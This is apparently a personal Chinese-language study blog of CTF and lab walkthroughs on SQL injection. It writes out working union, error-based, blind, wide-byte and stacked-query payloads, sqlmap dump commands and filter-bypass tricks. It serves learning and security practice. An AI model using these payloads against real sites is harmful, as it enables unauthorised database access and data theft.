LOADING...

dadada~

loading

基础漏洞之——sql注入


SQL注入

手工注入

CTF Hub——SQL注入–整型注入

  1. 检查是否存在注入: and语句 —— and 1=1 返回正确 || and 1=2 返回错误
  2. 使用order by语句查询字段数 参数为3时没有显示 说明字段数为2
  3. 通过语句id=-1 union select 1,database() 获得当前数据库名 || select group_concat(SCHEMA_NAME) from information_schema.schemata 获得所有数据库名
  4. 通过语句id=-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema=’sqli’ 获得当前表名 || ‘sqli’可以换成database()
  5. 通过语句union select 1,group_concat(column_name) from information_schema.columns where table_schema=’sqli’ and table_name=’flag’ 获得表中所有列名
  6. 通过语句id=-1 union select 1,group_concat(flag) from sqli.flag 获得指定数据库的表的列的内容
  7. 得到flag

CTF Hub——SQL注入–字符型注入

跟整型注入差不多,就是单引号有点儿烦人,使用 # 注释引号 | hackbar里写#不知道为啥竟然不行 转成url编码格式%23

Bugku CTF——成绩查询–字符型注入

  1. 数据库:skctf
  2. 表:fl4g,sc
  3. 列:skctf_flag

CTF Hub——SQL注入–报错注入

原理:

  • 使用updatexml(XML_document, XPath_string, new_value)函数,合法情况则用第三个参数替换,非法情况则会报错并带出查询的结果 | 根据xpath语法规则, ~ 是非法字符——ASCLL码为:0x7e
  • 使用leftright函数,获得完整的flag
    • left(): 从左开始截取字符串 left(str, length) ——>left(被截取字符串, 截取长度)
    • right(): 从右开始截取字符串 right(str, length) ——>right(被截取字符串, 截取长度)
  1. 检查是否为报错注入:输入1显示查询正确 输入abc查询错误且显示报错信息
  2. 使用updatexml函数来获取信息
  3. 通过语句id=-1 union select updatexml(1,concat(0x7e,database(),0x7e),1) 回显报错信息查询到数据库名
  4. 通过语句id=-1 union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema=”sqli”) ,0x7e),1) 回显报错信息查询到表名
  5. 通过语句id=-1 union select updatexml(1,concat(0x7e, (select(group_concat(column_name))from information_schema.columns where table_name=”flag”) ,0x7e),1) 查询flag表中的列
  6. 通过语句id=-1 union select updatexml(1,concat(0x7e, (select(group_concat(flag)) from sqli.flag) ,0x7e),1) 查询flag
  7. 但是但是但是!这个flag还不全,因为updatexml函数查询出的结果显示长度限制为32位 ,所以还要借助right函数:id=-1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1) 查询右半段flag

CTF Hub——SQL注入–MySQL结构

基本和整型注入一样,但是改掉了表和列的名字

表:cqbhiiviny 列:tnorsxhwej

直接用整型注入的套路,得到flag

CTF Hub——SQL注入–过滤空格

和整型差不多,但是不能存在空格

  1. 输入存在空格的时候显示 Hacker!!! ,可以用x’c’c表名:cdmznubhwv
  2. 列名:jdmex-hpswv
  3. 得到flag

布尔盲注和时间盲注用手工注入太麻烦了,懒得写,我觉得应该稍微了解就行吧 (

CTF Hub——SQL注入–Cookie注入

(啊要用bp了都忘得差不多了)

  1. bp或者用hackbar都可以
  2. 然后就是快乐的整型注入模板,后边的UA和Refer也都差不多
  3. 表:jivbcjahiu
  4. 列:moyccjdoqr
  5. 得到flag

[^UA]: User-Agent 即用户代理,简称“UA”,它是一个特殊字符串头。网站服务器通过识别 “UA”来确定用户所使用的操作系统版本、CPU 类型、浏览器版本等信息。而网站服务器则通过判断 UA 来给客户端发送不同的页面。

CTF Hub——SQL注入–UA注入

  1. 表:zfdtopgual
  2. 列:rgotgomxjd

[^Refer]: Referer 表示请求的来源,比如什么网站经过链接跳转过来的,是 HTTP 请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含 Referer。

CTF Hub——SQL注入–Refer注入

  1. 表:tgedamzdxj
  2. 列:bllnvpjpks

sqli-labs-32——宽字节注入

原理:

宽字节注入是利用的MySQL的一个特性,MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围),%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠 \,变成了 %df\’,其中 \ 的十六进制是 %5c ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了

  1. 宽字节注入大概可以理解为, 会被转为 \',当存在宽字节注入的时候,注入参数里带入%df%27,即可把\(%5c)吃掉
  2. id=%df%27||id=%df',其余跟字符型注入一样

sqli-labs-38——堆叠注入

  1. 同时执行多条语句,用 ; 分隔,可执行任意语句
  2. 如:id=1’;insert into users(id,username,password) value (99,’kk’,’123456’);%23 执行向数据表中增加信息操作
  3. 可以通过id=1’;select 1,2,database() 查询数据库

布尔盲注😭

要用到的函数及原理:

  • ascii函数:返回字符ascii码值|参数 : str单字符
  • length函数:返回字符串的长度|参数 : str 字符串
  • left函数:返回从左至右截取固定长度的字符串|参数str,length——str : 字符串、length:截取长度
  • substr()/substring函数 : 返回从pos位置开始到length长度的子字符串|参数,str,pos,length——str: 字符串、pos:开始位置、length: 截取长度——原理:在构造SQL语句之时,and后面如果跟着一个大于0的数,那么SQL语句正确执行,可以利用此特性,使用substr截取字符,当截取的字符不存在,再通过ascii函数处理之后将会变成false,页面将回显错误

注入流程:

  1. 求当前数据库长度:id=1 and (length(database())=8) || 也可以使用 > 、< 符号来进一步缩小范围

  2. 求当前数据库名:

    • 判断截取字符是否存在:id=1 and ascii(substr(database(),8,1))
    • 从左至右截取一个字符:id=1 and (left(database(),1)=’s’)||从左至右截取两个字符:id=1 and (left(database(),2)=’se’)
    • 截取字符判断字符的ascii码从而确定字符:id=1 and (ascii(substr(database(),1,1))=115)||id=1 and (ascii(substr(database(),2,1))=101),可以使用 >,< 符号来比较查找,找到一个范围,最后再确定
  3. 求当前数据库中表的个数:id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=4

  4. 求当前数据库中其中一个表名的长度:id=1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6

  5. 求当前数据库中其中一个表名:

    id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101–e||id=1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=’e’

  6. 求列名的数量:id=1 and (select count(column_name) from information_schema.columns where table_name=’emails’)=3

  7. 求列名的长度:id=1 and (select length(column_name) from information_schema.columns where table_name=’emails’ limit 0,1)=2

  8. 求列名:id=1 and ascii(substr((select column_name from information_schema.columns where table_name=’emails’ limit 0,1),1,1)) = 105||id=1 and substr((select column_name from information_schema.columns where table_name=’emails’ limit 2,1),1,4)=’flag’

  9. 求字段的数量:id=1 and (select count(flag) from emails)=1

  10. 求字段内容的长度:id=1 and (select length(flag) from security.emails limit 0,1)=14

  11. 求字段内容:id=1 and ascii(substr((select flag from emails limit 0,1),1,1))=68||id=1 and substr((select flag from emails limit 0,1),1,14)=’flag{sqlyyds!}’

总结:还是比较喜欢用substr函数,可以一下猜一串

常见绕过(虽然但是大部分还没有遇到)

  • 绕过空格(注释符/**/,%20)
  • 括号绕过空格
  • 引号绕过(使用十六进制)
  • 逗号绕过(limit使用from或者offset)(substr使用from for属于逗号)
  • 比较符号(< >)绕过(使用greatest())
  • or and 绕过
  • 绕过注释符号(#,–)过滤
  • = 绕过 (like)
  • 通用绕过(编码)

手工注入总结

  1. column_name: 列的名称
  2. information_schema.columns: 表示所有的列的信息
  3. information_schema: 表示所有信息,包括库、表、列
  4. information_schema.tables: 表示所有的表的信息
  5. table_schema: 数据库的名称
  6. table_name: 表的名称
  7. 获得当前数据库名:union selcet 1,database()
  8. 获得当前表名:union select 1,group_concat(table_name)from information_schema.tables where table_schema=’<数据库名>
  9. 获得表中的列名:union select 1,group_concat(column_name) from information_schema.columns where table_schema=’<数据库名>‘ and table_name=’<表名>
  10. 获得指定列的内容:union select 1,group_concat(<列名>) from <数据库名>.<表名>

SQLmap注入

CTF Hub——SQL注入–布尔盲注

  1. sqlmap.py -u <目标URL> –dbs 列出数据库名
  2. sqlmap.py -u <目标URL> -D <sqli(数据库名)> –tables 列出指定数据库的表名
  3. sqlmap.py -u <目标URL> -D <sqli(数据库名)> -T <flag(表名)> –columns 列出指定数据库的列名
  4. sqlmap.py -u <目标URL> -D <sqli(数据库名)> -T <flag(表名)> -C <flag(列名)> –dump 从目标表中得到数据

CTF Hub——SQL注入–时间盲注

和布尔盲注一个套路,就不写咯,但是真的好慢啊……

Bugku——SQL注入

  1. 一个登录界面,不小心猜到了密码这这这 傻眼.jpg 做题体验 -1-1-1 快乐+1+1+1
  2. 是个布尔盲注题,看别人wp都是自己写脚本,但是我不会

利用SQLmap进行Post注入

  • 靶场:http://testasp.vulnweb.com/Login.asp
  • bp抓包,将拦截到的post请求存为txt,放在sqlmap文件夹下(也可以放到别的地方,都随意)
  • sqlmap.py -r <txt路径> -p <tfUPass(参数名)> –dbs 列出数据库名 || -r表示加载一个文件,-p指定参数
  • 接下来就是套路都是套路

sqli-labs

  • 学到了很重要的一点就是什么东西最好还是自己多试试,很多人说新版PHP study搭建不了,然鹅并不是,害得我删掉了之前的找了个不怎么好用的旧版,本人已经被气死了,重新下载新版发现根本就是可以用的!!!!无良作者真的害死人!呜呜呜呜之前好不容易弄的数据库也没了QAQ
  • 好多题呀…emmm目前打算是有空就做点(英文界面实在不是很友好)

做题记录:

page1

  1. 字符型注入
  2. 报错注入
  3. 字符型注入多了一个括号–要学会看懂报错